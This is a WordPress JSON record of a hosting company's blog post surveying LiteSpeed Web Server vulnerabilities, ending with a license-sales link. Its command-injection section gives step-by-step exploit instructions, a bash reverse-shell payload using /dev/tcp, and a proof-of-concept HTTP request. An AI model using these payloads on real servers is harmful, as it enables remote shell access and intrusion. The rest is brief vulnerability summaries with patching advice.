{"id":5629,"date":"2024-03-21T11:45:39","date_gmt":"2024-03-21T09:45:39","guid":{"rendered":"https:\/\/tremhost.com\/blog\/?p=5629"},"modified":"2026-11-10T08:29:59","modified_gmt":"2026-11-10T06:29:59","slug":"litespeed-web-server-exploit","status":"publish","type":"post","link":"https:\/\/tremhost.com\/blog\/litespeed-web-server-exploit\/","title":{"rendered":"LiteSpeed Web Server exploit"},"content":{"rendered":"<div class=\"content\" tabindex=\"0\" aria-description=\"\">\n<div class=\"ac-container ac-adaptiveCard\">\n<div class=\"ac-textBlock\">\n<p>Let\u2019s delve into the topic of <strong>LiteSpeed Web Server (LSWS) exploits<\/strong>. While LSWS is known for its performance and security features, like any software, it can have vulnerabilities. Here are some notable instances:<\/p>\n<ol>\n<li><strong>Command Injection (Authenticated)<\/strong>:\n<ul>\n<li><strong>Vulnerability<\/strong>: In LSWS Enterprise version 5.4.11, an authenticated attacker could exploit a command injection vulnerability.<\/li>\n<li><strong>Exploit Steps<\/strong>:\n<ol>\n<li>Log in to the dashboard using the Administrator account.<\/li>\n<li>Access Server Configuration &gt; Server &gt; External App &gt; Edit.<\/li>\n<li>Set \u201cStart By Server *\u201d Value to \u201cYes (Through CGI Daemon)\u201d.<\/li>\n<li>Inject the payload <code>fcgi-bin\/lsphp5\/..\/..\/..\/..\/..\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/127.0.0.1\/1234 0&gt;&amp;1'<\/code> into the \u201cCommand\u201d value.<\/li>\n<li>Perform a graceful restart.<\/li>\n<\/ol>\n<\/li>\n<li><strong>Proof of Concept (PoC)<\/strong>:\n<pre><code>POST \/config\/confMgr.php HTTP\/1.1\r\nHost: 192.168.1.6:7080\r\n...\r\npath=fcgi-bin%2Flsphp5%2F..%2F..%2F..%2F..%2F..%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.6%2F1234+0%3E%261%27\r\n...\r\n<\/code><\/pre>\n<\/li>\n<li><a class=\"tooltip-target\" href=\"https:\/\/www.exploit-db.com\/exploits\/49523\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-28-group\" rel=\"nofollow noopener\" target=\"_blank\"><strong>References<\/strong>: <\/a><a class=\"ac-anchor sup-target\" href=\"https:\/\/www.exploit-db.com\/exploits\/49523\" target=\"_blank\" rel=\"noopener nofollow\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-26\" aria-label=\"1: References\"><sup class=\"citation-sup\">1<\/sup><\/a><a class=\"ac-anchor sup-target\" href=\"https:\/\/blog.litespeedtech.com\/2022\/11\/14\/cve-2022-0072-cve-2022-0073-and-cve-2022-0074\/\" target=\"_blank\" rel=\"noopener nofollow\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-28\" aria-label=\"2: References\"><sup class=\"citation-sup\">2<\/sup><\/a><\/li>\n<\/ul>\n<\/li>\n<li><strong>CVE-2022-0072, CVE-2022-0073, and CVE-2022-0074<\/strong>:\n<ul>\n<li><strong>Vulnerability<\/strong>: These vulnerabilities affect OpenLiteSpeed and LiteSpeed Enterprise WebAdmin Console.<\/li>\n<li><strong>Exploit Scenario<\/strong>: After achieving WebAdmin Authentication, an attacker could create a secret backdoor and exploit the vulnerability to access it.<\/li>\n<li><strong>Mitigation<\/strong>: Ensure timely updates and patches.<\/li>\n<li><a class=\"tooltip-target\" href=\"https:\/\/www.exploit-db.com\/exploits\/49523\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-42-group\" rel=\"nofollow noopener\" target=\"_blank\"><strong>Reference<\/strong>: <\/a><a class=\"ac-anchor sup-target\" href=\"https:\/\/github.com\/advisories\/GHSA-f532-g5cf-vhjp\" target=\"_blank\" rel=\"noopener nofollow\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-42\" aria-label=\"3: Reference\"><sup class=\"citation-sup\">3<\/sup><\/a><\/li>\n<\/ul>\n<\/li>\n<li><strong>Directory Traversal Vulnerability<\/strong>:\n<ul>\n<li><strong>Vulnerability<\/strong>: In certain versions of LSWS, a directory traversal vulnerability exists in the OpenLiteSpeed Web Server Dashboard.<\/li>\n<li><strong>Impact<\/strong>: An attacker could exploit path traversal.<\/li>\n<li><strong>Affected Versions<\/strong>: Versions from 1.5.11 through 1.5.12, 1.6.5 through 1.6.20.1, and 1.7.0 before 1.7.16.1.<\/li>\n<li><a class=\"tooltip-target\" href=\"https:\/\/www.exploit-db.com\/exploits\/49523\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-56-group\" rel=\"nofollow noopener\" target=\"_blank\"><strong>Reference<\/strong>: <\/a><a class=\"ac-anchor sup-target\" href=\"https:\/\/www.litespeedtech.com\/\" target=\"_blank\" rel=\"noopener nofollow\" data-citationid=\"73e5e7d1-6cec-956f-2f06-a457b9613a1c-56\" aria-label=\"4: Reference\"><sup class=\"citation-sup\">4<\/sup><\/a><\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>Remember that staying informed about security updates and promptly applying patches is crucial to safeguarding your web server. LSWS remains a powerful choice, but vigilance is essential to mitigate risks.<\/p>\n<\/div>\n<h2><a href=\"https:\/\/tremhost.com\/litespeed\">Get LiteSpeed License<\/a><\/h2>\n<p>click <a href=\"https:\/\/tremhost.com\/litespeed\">here<\/a> to get license<\/p>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Let\u2019s delve into the topic of LiteSpeed Web Server (LSWS) exploits. While LSWS is known for its performance and security features, like any software, it can have vulnerabilities.&hellip;<\/p>\n","protected":false},"author":1,"featured_media":5630,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[79],"tags":[],"class_list":["post-5629","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tech"],"_links":{"self":[{"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/posts\/5629","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/comments?post=5629"}],"version-history":[{"count":4,"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/posts\/5629\/revisions"}],"predecessor-version":[{"id":81410,"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/posts\/5629\/revisions\/81410"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/media\/5630"}],"wp:attachment":[{"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/media?parent=5629"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/categories?post=5629"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tremhost.com\/blog\/wp-json\/wp\/v2\/tags?post=5629"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}